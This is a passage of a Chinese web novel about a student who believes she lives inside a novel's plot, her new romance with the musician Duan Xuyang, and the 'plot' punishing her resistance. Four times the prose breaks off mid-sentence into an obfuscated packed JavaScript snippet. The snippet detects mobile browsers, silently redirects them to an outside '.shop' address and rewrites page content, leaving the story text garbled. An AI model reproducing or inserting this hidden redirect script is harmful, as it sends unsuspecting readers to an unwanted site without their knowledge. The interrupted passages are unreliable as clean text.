曹非丝毫不惧,理直气壮对视回去:“教一个是教,教两个也是教嘛,男步动作都一样。” “双人舞,应该和你自己的舞伴练习才对吧?”段胥阳露出一个皮笑肉不笑的假笑:“你跟林莎同学商量一下呢,她也是位非常热心的好同学。” 眼看战火要蔓延到自己身上,正和室友们一起竖着耳朵偷听的林莎如丝般顺滑地加入隔壁陌生同学的聊天当中:“我也觉得这个牌子的粉底液好用,不卡粉。” 对不起了曹非同学,她的脚真得有点肿,下课了就请换个人踩吧! 总之,段胥阳想靠体育课给感情增温的计划,貌似也以失败告终。 下课铃声响起,他怏怏不乐地低头复盘。 教室这个环境不好,人多嘈杂、纪律严格,还有搅事精在一旁添乱,他还得再想想别的办法。 正想着,一只软绵绵的手钻入他的掌心,细腻的皮肤带着凉意,像云朵落入了太阳怀中,很有存在感。 “你们今天就要出发去首都录音,”罗姝与他手臂交缠:“我送你到校门口好不好?” 段胥阳一个勾手将她牢牢牵住,耷拉了一个下午的嘴角终于上扬起来:“送我的话你就来不及去食堂吃饭了,我给你点个外卖。” “小婵她们会帮我买好的,我们已经说好了。” 这一条路并不短暂,正赶上饭点,周围人来人往。 罗姝见段胥阳已经被哄好,就想松开手。 她还是趋向于保守,想要尽量对外隐藏这段关系。 但,当她主动把手递过去的时候,就该意识到想松开没那么简单。 段胥阳不仅不放手,好不容易放晴的表情又默默阴沉下来,随着两人暗暗拉锯几轮,更是双眼幽深。 “姝姝,天气挺冷的,牵着手还暖和一点,你说呢?”他咬牙切齿地从牙缝里挤出几个字。 罗姝无奈,只好跟他坦白自己的想法:“段胥阳,你们现在又跟热门动漫联动,又在筹备乐队专辑,半只脚已经踏进了娱乐圈。现在大张旗鼓地谈恋爱,不利于你们吸粉。” 听到这个理由,段胥阳的心肠又软了下来,他晃了晃两人相牵的手,歪着头问她:“那我偷偷摸摸地谈恋爱,就不是谈恋爱了吗?” “也不是这个意思。”罗姝感觉自己有点晕。 她对于“艺人谈恋爱会妨碍事业”的观点其实来源于小说原文,她本身并没有关注过娱乐圈。 所以她想要做的风险防控,归根结底是要还原小说中段胥阳刚出道时比较清朗的舆论状态。 她并不想因为自己阻碍了段胥阳原本顺畅的星途。 但被他这么一点,她也意识到了自己视角的缺失。 她好像并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005647|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考虑到作为粉丝的心情,隐瞒恋情也是欺骗,甚至更伤害粉丝的感情,后果会更糟糕。 “那怎么办?”她泄气地低着头,看向两人交叠的手:“我不想影响你。” “姝姝,我足够坦诚,也足够有实力,就不怕没有听众。” 段胥阳将她往怀里揽了下,贴着她耳语:“我只是个搞音乐的,我并没有能火遍大江南北成为顶流的想法。我们能通过音乐传达我们的态度,听众也能从中汲取到力量,表演者和倾听者能成为彼此的知己,这就足够了。” “而且,你怎么这么肯定会影响到我呢?”段胥阳说到这里自己也有些不自信:“现在的听众对乐队的感情状况要求也这么高吗?” 罗姝心虚,没敢说话。 毕竟她的参照物是三年后已经从乐队单飞的段胥阳。 “不过,也还有其他原因。”沉默半晌,罗姝又一次开口。 她又想起高一那年,段胥阳送了她一袋糖果。那时她曾惴惴不安很久,总是害怕段胥阳听说什么,觉得她是个麻烦精,把糖要回去。 现在,她要亲口把这件令她担忧了许久的事告诉他:“你可能也知道,我高中的时候风评不太好,我妈做了些伤害同学们的事。你要是找一个糟糕的女朋友,你也会被攻击的。” 段胥阳完全没有料到他会从罗姝嘴里听到这番话。 “才没有,咱们学校的同学们一直都很钦佩你,任谁知道我们在一起了,都只会羡慕我。” “姝姝,大家只是不知道该怎么和你相处,我们都知道你并没有做错什么。” 他越说,越感受到语言的贫瘠。 虽然罗姝只是说了寥寥数语,但从中表露出的她对于过去那些事情的在意程度,已经足以令段胥阳感到心惊。 段胥阳从曹非口中得知了罗姝的高中往事后,就曾在暗中打探过不少高中校友的口风。 他的朋友圈还算广,各个年级段的好友位都有几个,问了一圈后,他发现真正知道罗姝母亲曾到学校闹事的人,其实只有他们两个班的同学。 要不是因为他们两个班共用一套教学班底,关系亲如一家,或许这个消息甚至都不会传到他们班。 这件事的传播范围其实非常小,但它在罗姝心里却已经无限放大。 无人知道那个总是独来独往,只顾埋头学习的女孩,她看似平淡的外表下有多么芥蒂这件事。 段胥阳突然感到一阵钻心的疼。 他从前的想法如今想想也天真到荒唐。 他竟然真的认为,罗姝只是想把精力都放在学习上,所以才宁愿在群体生活中独处。 那分明是她撕裂了一道难以愈合的伤口,在时间的冲刷中变得麻木。 如果在她最孤独的时候,他能不顾虑太多,果敢一些就好了。 “你知道吗,我高中的时候就很想跟你做朋友。”段胥阳收敛住那些心疼,脸上露出笑容:“所以每一次,有老师偷偷在晚自习给我们放电影的时候,我都会坐你旁边,你还记得吗?” 27. 恋爱第5天 在罗姝记忆中,两个班级聚在一起看电影的活动还真不少。 尤其是高一高二时期,每个月都会有老师偷偷合谋给他们放电影放松一下。 教学楼按照年级分栋,每层只有四个班级。罗姝的班级正好靠边,甚至有一扇窗户正对着楼梯,出于保险大家都不敢在班里搞什么小动作。 老师们也担心会被巡课的校领导直接抓包,所以每逢娱乐环节,都让罗姝他们自己搬着小板凳到段胥阳班里拼桌,久而久之,每个人都多了个邻班的“同桌”。 两个班人数都是单数,总有一个落单的人,罗姝每一次都是直奔着那个单人座而去。 她还真没有注意过那个落单的座位究竟坐着谁。 “我们两个班不是都轮流单独坐吗?”罗姝绞尽脑汁地回忆,她脑海中只闪过几个片段:“我只记得一次,你提醒我不要在光线不好的时候写作业,而且那次你自己还做错了题。” 段胥阳情绪还没上来,就被哽了回去。他无语地瞥她。 她不提他倒还忘了,明明是他好心,见她在难得的放松时间还低头写作业,提醒她光线不好。 这小家伙却抬起头看了他一眼,欲言又止了几秒钟,指着他摊在桌面上的试卷来了一句:“这道题应该选C,你选错了。” 从小就没有一点浪漫细胞。 段胥阳一边腹诽一边控诉:“那是因为你之后每次过来就闭着眼睛睡觉,你的眼里根本没有我。” “我没有睡觉……”罗姝抠了抠脸,语气弱弱地反驳:“写作业不是伤眼睛吗?我就默背课文和单词了。” 那一脸理所应当的样子直接把段胥阳气笑了:“好,你就这样偷偷努力,把我们所有人甩开,断层当年级第一。” “对啊,我最擅长偷偷努力了。”罗姝看出他的调侃,也用玩笑的口吻说着真话:“不止看电影的时间偷偷学习,我还比其他人都早起晚睡至少两个小时。” “谁让我并没比别人聪明多少,想当第一名,只能偷时间再多努力一些,压根没有时间去娱乐。” 再提起当初自己的荣光,连罗姝自己都感慨万千。 高考成绩出来后的那段时间,亲人也好,邻里也好,每个人看她的眼神都是那样惋惜,那样恨铁不成钢,也不乏有幸灾乐祸的,仿佛她的未来已经被钉死在谷底一样。 好像这个结果出来之后,她曾经为之付出的全部努力都付之东流,投入过的全部精力都原地蒸发。 所以每个知道她曾经为之努力到艰苦的人,才会露出同情的神情,认为她的过去是一种浪费。 当父母的指责劈头盖脸的落到身上时,罗姝也曾恍惚过。她是否真得缺乏社会的阅历,做出了一个错误的决定,为日后制造了更大的代价? 这种恍惚其实持续了很长时间,直到她开始学习剪辑。 明明最初只是想借此同男主角段胥阳保持联系,但当她发现自己可以很快入门一个陌生的技能时,她才意识到。 其实她已经积淀了足够多的知识和本领,她可以在任何一个领域里重新发光。 “那你的小如意算盘今天开始要打崩了。” 罗姝耳边传来他得意洋洋的语调:“我会拉着你到处玩,各种放松,不会再让你偷时间努力了。” “哎,要不我现在就绑架你跟我一起去首都录音怎么样?”段胥阳开着玩笑,竟然还给自己说心动了,他忍不住畅想:“周六我们尽量早点录好,周日还能挤出时间到处逛一逛呢。” 熟悉的校园大门已经近在眼前,罗姝笑着推了他一把:“别闹了,快去机场吧,小心赶不上飞机。” 从同一节体育课下课的曹非扫了一辆单车早早出了校门,现在正坐在汽车驾驶舱里冲他们招手。 段胥阳依依不舍地把人松开:“行,那你要跟我打视频电话。” “恐怕不行,”罗姝露出歉意的表情给他泼了一瓢冷水:“我每天还得给家教学生视频补课,到下课时间也差不多要熄灯睡觉了。 段胥阳:“……”坨坨这小子这会儿变得极其多余。 说再多也没用,罗姝又跟曹非点头示意了一下,便转身汇入来来往往的学生大军中重新走进校园。 她的背影在段胥阳眼里越变越小,渐渐缩成一个小点。 曹非按了下喇叭:“上车啊,还等什么呢?” 段胥阳坐上副驾驶,系好安全带又往校园里看了一眼,突然说了一句:“怎么到现在,我还是能一眼就在人群中看到她呢?” 明明那个显眼的红色箭头已经消失了。 曹非不懂他在说什么,他动作流畅地启动汽车启航,说了句:“这有什么好奇怪的,我们刚上高中的时候,你不是还能从成百上千个穿着一模一样校服的朵拉头里一眼认出她吗?” 他们高中限制女生发型,必须剪短发,还要求前不过眉侧不过耳。女生们站在一起简直长得一模一样,就连许多家长都分不清自家孩子。 但段胥阳自从在刚开学的开学仪式上见过罗姝一次后,就能精准分辨她的身影。 视野尽头的罗姝转过一个弯,彻底消失在建筑后。 段胥阳这才收回目光,很爽朗地笑了一声:“是啊,命运都慢我两三年。” —————— 周六,罗姝大中午就接到了段胥阳的电话。 有一些书本资料被寄到了小别墅工作室的门口,正露天摆在地上。天气预报显示今晚有雨,段胥阳担心书被泡坏了,便委托罗姝帮忙去收一下快递。 段胥阳甚至在电话里郑重其事地做了口头承诺,保证自己会带多个礼物回来给罗姝当报酬。 男朋友总爱耍宝,罗姝挂断电话后一边忍着笑,一边收拾东西出发去工作室。 晚上大概率会下雨,她也不想来回跑,便打算直接在工作室里住一晚上。 除了提前翻看乐队几人这段时间录制的素材,还能趁机在安静的环境里多练习几套四级题,罗姝对这次跑腿其实非常满意。 但谁会嫌礼物多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014235|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 维持着好心情,罗姝嗅着空气中若有若无的腥味,背着小包脚步欢快地一路步行到了小别墅。 才刚进入别墅区,她就远远看到一个褐色的快递箱正放在别墅小院的院门口。 罗姝走近,先蹲下来看快递单确认信息。 收件人是曹非,地址也确实是这里,她将快递拾起,起身时意外瞥到寄件人的姓名栏里写着三个小小的铅字:曹女士。 是曹恩悦?还是曹非的其他亲人? 罗姝心里快速闪过一个疑问,随后她无趣地甩甩头,让自己别对曹恩悦的存在草木皆兵,过度关注。 她开门进去,将快递放到门口的鞋柜台面上,发信息告诉段胥阳快递已经取到了。 段胥阳不仅秒回,他还抓住机会打了个视频电话过来:“姝姝,听曹非说应该是一些杂志,你帮我拆开看看东西对不对。” 镜头好像自带美颜效果,画面中的两人都有些失真,段胥阳抓着手机从各个角度都拍了自己一圈:“姝姝,你看我帅不帅?梁导安排了摄影师拍摄我们录歌的画面,还让化妆师给我们做了造型。” 段胥阳的脸上其实看不出多少化妆的痕迹,但精心设计的发型让他的颜值又提高了不少,甚至这个还没有正式出道的青年,已经隐隐有了星相。 “嗯,超级帅。”罗姝先竖起大拇指对此表示肯定,便将手机镜头对准了快递箱开始开箱。 只比A4纸略大一些的纸箱大约十公分高,里面还包裹着一层防撞的泡泡纸,罗姝一层层拆开胶带,取出十本时尚杂志。 “对,就是这款杂志,曹非拿来装饰我们客厅那个小书架的,你要是累了想放松一下也可以看。”段胥阳嘴巴像机关枪一样迅速说完这段话,就不得不道别:“我得先去忙了,你晚上记得锁好门窗。” 最后一个字的尾音还没说完,视频电话就火急火燎地挂断,也不知道他硬挤出时间视频这一两分钟有什么用。 罗姝无奈摇头,把杂志抱到小书架旁一一放置进去。 色彩鲜明、造型独特的杂志封面每一本都极抓眼球,罗姝每拿起一本都忍不住欣赏片刻才舍得放下。 就这么磨磨蹭蹭地摆放了十几分钟,罗姝再度低下头,六月刊的封面就这样闯入眼帘。 不同于前几期刊物封面的珠光宝气和精致美丽,这一张封面的色调明显冷了下来,风格也大相径庭。 仿佛原始森林般绿到发黑的背景里,四肢纤长的模特大半个身体都陷在由苔藓和泥土制作的衣裙中。 她的肌肤上遍布污渍,仿佛刚从沼泽地里爬出来一般,表情冷峻,眼神坚毅。 一行显眼的花字印在模特的左边: 看得见的命运便可以打破,无人能摆布我。——设计师Skuld。 Skuld,诗寇蒂,北欧神话中掌握未来的命运女神。 罗姝愣了一下,她微微蹙着眉头,视线久久不曾从这行字上挪开。 看得见的命运,便可以抗衡吗? 28. 恋爱第6天 六月刊的主题就是突破命运的禁锢,Skuld是当月的主设计师,每一页的设计都带有她独特的风格。 不同于封面极其夸张的服装和动作,内页中的服装设计基本回归了正常的服装材质,但造型依旧夸张和虚无。 全本的构图极其统一,都是从各种各样的险境中挣脱逃离,模特们的战损妆造更加凸显眼神,每个人都凌厉且坚定。 罗姝很难说自己没有受到触动,她一页接着一页慢慢翻看,一直翻到最后几页,看到了对设计师Skuld的专访。 当主持人问起她为什么要做这样的主题,Skuld回道:“当个人的主体性在不断增强的时候,就会意识到这个世界上真正能够掌握自己未来的人凤毛麟角。” “总有各种各样的声音影响着你、指挥着你、促使着你去做一些事情,那些或许并不是出自本心做出的决定,建构了我们的人生。” “自由的灵魂感到压抑,生活的态度就会消极。不少人选择‘躺平’,选择成为一条看似翻不了身的‘咸鱼’,口口声声说着‘认命’。” “但他们仍在兢兢业业地活着,动力不足地思考着怎么让自己半死不活的生活过得更舒适一点。” “那就不叫‘认命’。” “真正放弃自我的人,不会再考虑自己的感受。” “既然心有不甘,那就打破命运。”Skuld说。 彼时她正在孕期,随着体型变得圆润,她整个人也变得柔和,但她的话语依旧斩钉截铁:“当我们认为未来一眼就能看透的时候,就意味着我们拥有了对未知的选择权,只要敢于打破常规。” “所以我希望借助这一期主题来鼓励很多正在犹豫的人:当你已经迈上了与既定人生轨迹不同的道路时,坚定你自己,坚持走下去。” 远方灰蒙蒙的穹宇中钻出一条电龙,惊雷乍响,狂风骤起。 原本还算舒适的黄昏顿时变得混沌起来,这个秋末最后一场暴雨即将来袭。 比雨滴更早一步落下的,是纷纷扬扬的落叶。这些金黄的叶片被风裹挟着,在生命的尽头终于看遍了繁华街道,才无力地坠落下来。 罗姝从怔忡中被惊醒,她四处环顾了一下,疾步匆匆地跑去关上了几扇用来通风的窗户。 被这突如其来的插曲打了个岔,罗姝看了眼时间,已经不算很早。她将剩余的杂志迅速收到了书架里,便缩回了自己的剪辑室。 四六级考场有限,所以学校有硬性要求,规定大一新生中只有英语高考成绩在130分以上的新生才可以在上半学期报名。 罗姝高考成绩为132,刚好达标,她第一时间就报了名,并计划在大一这一年里将四六级证都考到手,所以这段时间英语都是她主要复习的科目。 难得独自一人,气氛安静,罗姝打算多练习一下听力题,她的听力题比起其他题型要薄弱不少。 只是,从来在闹市中都能定下心来专注学业的罗姝,却在一声声录音对话中罕见地走了神。 鬓角开始一抽一抽的疼,罗姝整个头皮都在发麻,她不知不觉在草稿纸上写满了“看见”、“命运”和“不甘”这几个词,有些笔迹都相叠在一起,混乱到看不出章法。 从小到大,罗姝已经习惯去压抑自己的情感,以至于她对自己的内心十分陌生。 在她看似认命的那些举措当中,是否暗藏着并不认命的意味呢? 看得见的命运背后,就是新的出路。 她的右手因为疼痛而颤抖,字迹也不再工整。那些扭曲的偏旁线条宛如被注入了生命一样,不停地钻入罗姝的眼睛。 字迹越多,她身体的不适感就越重,但相比起之前经历过的那种刺骨般的疼痛,仅是这种程度的头疼还在忍受范围之内。 罗姝恍惚中又感觉到一种熟悉。 耳机里还有两个宛如机械的声音在一板一眼地说着难以分辨的英文,罗姝仿佛一瞬间回到了那个嘈杂的六月,杂音难以祛除,烦闷如影随形。 她一把扯掉耳机,耳朵终于清净。 没了声音的干扰,罗姝乱成毛线的思绪又开始慢慢理顺。 她并不认为自己突如其来的身体不适是出自于自身的疾病,这段时间以来时不时都会遭遇这一遭,她已经百分之百确定这是小说原剧情对她做出的干扰。 她唯一需要搞清楚的,就是这看似毫无规律的干扰,究竟因何出现。 之前她经常会在某种事件发生后短暂地忘却一切事情,她并不能保证自己这一次就能保留记忆,但她可以尽最大可能在草稿纸上留下一些信息。 如果,这个无形的存在并不能影响客观事物的话。 她的手还在克制不住地写着那些词汇,明明越写越乱,罗姝却感觉自己的思路越来越清晰。 如果每一次被剧情制裁的原因都是一样的,她、甚至是他们,都已经不止一次产生过反抗命运的念头。 只是每一次,他们都会被更强大的力量强行消弭斗志,重新回到丧气的状态里。 大音希声,大象无形。 真正的命运是看不见的。 它被看到了,它被改变了,它在畏惧了。 棋盘上的棋子脱离了该有的位置,那棋局便有可能走入死局。 它在畏惧,是因为它也会虚弱、会消亡。 那么……当初既催促她暗恋,又阻止她告白的矛盾举措,是因为在她执行剧情的过程中,段胥阳这个男主角答应她的意愿更高,成为了变数,反而变成剧情的阻碍,会削弱它的力量吗? 好像说得通。 但又好像没有那么简单。 作为戏份最重的男主角,按道理来讲,段胥阳几乎每时每刻都受到剧情操控,他是如何做到在毫不知情的情况下,违背了剧情的意志呢? 罗姝蓦地顿住,她紧紧咬住自己下唇的一块唇肉,以此抵抗大脑越发剧烈的疼痛。 如果说,她作为一个工具人,都能在此刻称之为觉醒。那么,男女主角难道没有经历过她所遭遇的这一切吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022968|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >毕竟他们才是第一顺位。 —————— 秋季的最后一场大雨比罗姝预料中还要滂沱。 罗姝在朦胧雨帘中向外看了几眼,遍布小区的灰色小路已经被落叶覆盖,树冠上剩余的叶片也精神萎靡,只是还顽强的吸附在枝干上。 手机屏幕里坨坨的小脸挤成一团,他苦恼极了:“姝姝姐姐,我表哥最近又变卦了。” 罗姝收回视线,看到他那几乎要挤到变形的五官,忍不住露出一个笑容:“他又说什么了?” “他说那个会出现在头上的箭头也并不是最重要的,那玩意有信号延迟。”坨坨抱着胖胖的自己:“可我那天午睡的时候,刚给我同桌脑门上画了一个红色的箭头,现在她都跟我生气了。” 他气鼓鼓:“都怪我表哥!他不早点跟我说清楚!” 罗姝:“……” 她刻意板下脸来:“无论什么理由,在别的小朋友脸上乱画都是不对的,你先去跟小朋友道歉,然后多做两页练习册当做惩罚,可以吗?” 坨坨脸上涨得通红,嘴巴扁了又扁,听到还要多写两页练习册,委屈的泪水直在眼里打转。 他本就因为和同桌闹别扭而闷闷不乐,这下更是惆怅至极,他把这些账通通记到了表哥头上。 多了两页作业,坨坨原定于晚上的看电视时间直接被占用,等今日份的补习结束时,已经到了平时该睡觉的时间。 罗姝刚跟坨坨挂断视频电话,段胥阳就分秒不差地打了过来。 “我打了好几次都没成功,你们每天都要补习到这么晚吗?”甫一接通,段胥阳就一脸惊讶地问道。 “平时不会,今天有些意外。”罗姝长叹一口气:“我这个学生,他有个不着调的表哥,他那表哥也年纪不小了,一天到晚就会胡说八道,害得小朋友也跟着乱操作。” “你都不知道,他居然跟我学生说,每个人的另一半都是命中注定的,两人遇见的时候,就会在对方头上看到一个写着‘老婆’的箭头。” “我学生只有10岁,幼儿园文凭才刚拿到手没几年,就这么被忽悠了。他本来就一直想和他的同桌一起玩,现在等不及那个箭头出现,他趁着午休在人家小姑娘脸上画了一个箭头。” 罗姝无奈摊手:“他做错了事,得有相应的惩戒措施,所以我罚他多写了两页习题,才一直拖到现在。” 段·不着调的表哥本人·胥阳:“……” 他眼神飘忽着左看右看,没敢把视线落到罗姝脸上。 向来巧舌如簧的一个人此刻跟鹌鹑似的缩在一起,声音很低地说:“那也许人家不是胡说八道呢,就是有人能看到自己未来老婆头顶的红箭头。” “这是你们男生之间的统一说辞吗?”罗姝不解地歪歪脑袋:“就跟世界上一定有奥特曼一样?” 这不好说。 毕竟目前这个世界上应该只有他曾经拥有过这个金手指。 段胥阳轻咳了一声,生硬地转移话题:“晚饭吃了什么?” 29. 恋爱第7天 就这么闲聊了几句,罗姝看着手机屏幕里的段胥阳,眼底划过一抹沉思。 段胥阳已经卸掉了妆容,他刚洗完澡没多久,半干不干的发丝稍显凌乱地铺在他的头上,竟然让他看起来极为乖巧。 此时的他尚且稚嫩,面部线条还柔软又青涩,看她的眼神明亮又欣喜。 罗姝从背包中取出那个写着现实与小说区别对比的笔记本,蝇头小楷标记着事实的不同,她眼神从中扫过一遍又一遍,想试着从中归纳出话题,来刨根问底出这些区别产生的原因。 直到段胥阳看出她在走神,又叫了好几声她的名字,她才从这种思考中抽离出来。 “姝姝,你困了吗?”段胥阳关心地打量着她的神色:“没关系,你不用顾虑我,要是累了就去休息吧。” “没有,我只是有些疑问。” 罗姝撑着脑袋又想了想,她在笔记本上圈出几个字:延续母亲的梦想。 她想要优先确定段胥阳母亲的状态。 “我记得你之前跟我说过,叔叔给了你一笔经费来支持你做音乐,但只会给你一次,因为他怕你发挥不好,会给阿姨丢人。”罗姝连呼吸都放轻了,她小心翼翼地试探着:“你是因为阿姨才决定干这行吗?” 段胥阳摸着鼻子想了一下,说:“她是我的音乐启蒙老师,肯定有受她影响,但根本原因是我自己热爱。” “我也不瞒你,”段胥阳故意作出偷偷摸摸的样子,他靠近镜头轻声说了一句:“我妈的确是还算比较出名的歌手,我要是子承母业,蹭着她的热度,我的星途会好走很多。” “但无论是我本人也好,我妈也好,甚至是我爸,我们都不希望我成为一个名气虚浮的星二代。既然我也想成为一名歌手,那就靠我自己的实力闯出来。” “所以真正决定我走上这一行的,是我内心对音乐的热爱,我妈充其量也只是提供了一个方向给我。”段胥阳落下结论。 他自得地仰着头,开始王婆卖瓜,自卖自夸:“放心,你的男朋友虽然很孝顺,但不是愚孝,也不是妈宝男。” 罗姝心里则是暗叹一声果然。 给他的单纯执着比了个大拇指,她低头在笔记本上画了个叉。 她不可能直接问段胥阳他母亲是否还在世,只能靠他的语气和神情来判断。 从段胥阳这几句话来看,他母亲极大概率还活着,这或许就是剧情最早的变数,也是最关键的变数。 因为她还健康地活着,段胥阳和他父亲之间始终存在着关系的润滑剂,不会产生无法调和的矛盾,家庭和乐的氛围让现实中的段胥阳远比剧情中更加乐观爽朗; 音乐是母亲在他心里种下的种子,他依靠发自本心的热爱让它开出了花,不用像小说中写得那样,只是将母亲的梦想视作自己的未来; 同时,不会在童年时期遭遇母亲离世、父亲缺席双重打击的段胥阳,也不会因缺乏关爱而钟情上大他十二岁、一直照顾他长大的曹恩悦; 最重要的是,如果罗姝的猜测是正确的,那也就意味着,在这个由小说构建的世界上,已经存在了一个从死亡结局中成功逃脱的配角。 看得见的命运,果然可以打破。 那所谓的命运,早已经发生了改变。 当这个念头从罗姝心里升起时,熟悉的刺痛再次袭来。 这一次不再局限于头部,心脏也像是被一双手紧紧攥住一般,令她呼吸都感到艰难。 那家伙在向她昭示自己的力量,来警告她不要痴心妄想,来震慑她不要轻举妄动。 罗姝顿时脸色煞白,她强忍着没有露出任何异样,借着手部动作装作不经意调整了手机的角度,只在镜头里露出半个下巴。 她擦掉从额头滴落的汗珠,稳住声线对段胥阳说:“真羡慕你有这么坚定的梦想。” “姝姝!镜头歪啦!”段胥阳立刻提醒她。 罗姝其实已经不知道自己到底在说什么,但段胥阳回应的声音传来的那一刻,施加在罗姝身上的惩戒力度瞬间减弱了不少。 她怔忡地眨了眨眼睛。 段胥阳还真能克制原剧情,他身上怎么会有这么强大的反制力量? 她用力咬了嘴唇一口,让脸上重新恢复血色,这才将镜头又调整回来。 在罗姝的精心伪装下,段胥阳果然没有看出罗姝的异常,他张口就是一锅心灵鸡汤:“我一直觉得,拥有梦想的第一步,是认识自己,第二步,是相信自己。” 他对自己向来自信得可怕:“我的天赋、我的特长都在音乐这个领域样样拔尖,我还如此热爱创作和演绎歌曲,我就是天选音乐之子,我当然坚定地走这条路。” 他隔着屏幕对罗姝做了个摸摸头的动作:“这个事情其实很奇怪,每个人最熟悉的那个人本来应该是自己,但可能反而要耗费很长一段时间才能正确地认识自己,更遑论建立起自信。” “我只是运气好,我妈是我的引路人,我很早就完成了前期的自我认知。” “姝姝,如果你愿意的话,我也想陪你一起,重新认识你自己,再认识这个世界,直到找到你所追求的。” 说到最后,段胥阳耳尖泛起红色,仔细去看的话,会发现这绯红已经蔓延到了他的脖子。 手机镜头给了他的羞涩一个特写,但磨砂感的滤镜又淡化了他的纯情,罗姝最先感受到的,是他眼里的期待。 先认识自己,再认识世界。 段胥阳这个人,还真是时不时会冒出几句令她感到触动的话。 “哦!先感受世界也行。” 罗姝内心的称赞还没维持两秒,她就听到了段胥阳紧急撤回一句金句:“这学期我计划去爬山,沿路给各种自然音采样,虽然具体时间还没定下来,但我们一起去好吗?” 段胥阳又自然地撒了个娇:“求你了。” 难以表露的痛苦渐渐褪去,罗姝重新感受到了一种暖融融的感觉在将自己包裹。 她贴近了太阳,于是成功驱散了黑暗。 看来,她这个女朋友的角色,要长期、认真地扮演下去了。 罗姝无声溢出一口气,她笑着点点头:“好啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035922|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 时间已经太晚,不知不觉就超过了在学校时熄灯断电的时间。 伪装的血色渐渐褪去,罗姝那苍白的脸还是引起了段胥阳的怀疑,他追问了几句,都被罗姝打着哈哈遮掩过去,最终两个人都没再拉扯,道了声晚安挂断电话。 次日一早,罗姝早早就起了床,她要把昨天浪费掉的学习时间补回来。 为了保持清醒,她将房间里的窗户推开,凉风习习,空气中弥漫着一股浓郁的植物香气。 还沾着雨渍的落叶很难清扫,小区里一夜之间长出了许多清洁工人,他们均匀分散在各处,正在努力恢复这片区域的整洁。 罗姝低头仔细观察了一下,发现这些落叶其实大多数都还没到枯萎的程度,叶片水润柔软,十分完整,是疾风骤雨将它们从枝头提前吹落。 她披上外套,跑到门外左挑右拣,拾起了一片非常漂亮的落叶。 白杨叶的形状就像一颗小树,叶片上的纹理十分清晰,罗姝用纸巾小心翼翼地擦干上面的水渍,然后把它夹进了那本六月刊里。 做完这一切,她心里就跟落下了一块石头一样,突然变得平和起来。 她没有浪费这种良好的状态,就着面包牛奶,一次性练习了包含听力题在内的三张模拟试卷。 之后她对着答案自查了好一会儿,干净整洁的卷面上只有寥寥几笔纠错,她这才开心地扬起嘴角。 又打开电脑,将现有素材全都过了一遍,罗姝大致了解了逆时针乐队这段时间到底在忙些什么工作,便开始整理视频的制作思路。 上一次的提案其实很快就通过了,动漫剧组那边只指定了几集必须做reaction,歌曲也指定了几首授权给他们做改编,现在只需要在约定好的时间内将宣传视频做好经由剧组审核后发布即可。 罗姝这段时间其实还抽空补了动漫的第一季,并用动漫素材剪辑了几个视频寻找感觉,或许是因为准备得足够充分,她并没有感到特别紧张。 甚至她还有闲心将小别墅的院子简单打扫了一下,才回了学校。 仅这半天里做事效率极高。 雨过后的天晴格外清澈,湛蓝的天空万里无云,罗姝走在还积着小水潭的路上,嘴里忍不住哼起小调。 本该激昂的调子在她轻灵的嗓音中也变得柔和,罗姝哼了好几句才后知后觉地反应过来,这是段胥阳那天在车里给她听过的新歌。 一首充满着磅礴生命力的歌曲,带着疑惑不甘但要撕破一切的力量。 罗姝站在路边又仔细回忆了一番段胥阳的唱法,他的声音是嘶哑的,尾音刻意处理成要破不破的状态,情感饱满又坚定,十分能渲染情绪。 她试着憋出一个怒音,却不得章法,只能发出宛如咳痰一般搞笑荒诞的声响,她被自己逗得乐不可支。 看来每个人都有适合自己的唱法。 于是罗姝重新启航,继续用她清越的歌喉低吟浅唱。 她完全不记得段胥阳创作的歌词,只能发出哼唱。 但那些歌词又仿佛已经在她心中。 30. 恋爱第8天 十月在怪诞可怖的万圣节中画下句号,十一月也悄然无声地走到了尾声,肃杀的寒风为十二月拉开了序幕。 忙碌使得时间按下加速键,再回首时,才惊觉又度过了一个多月。 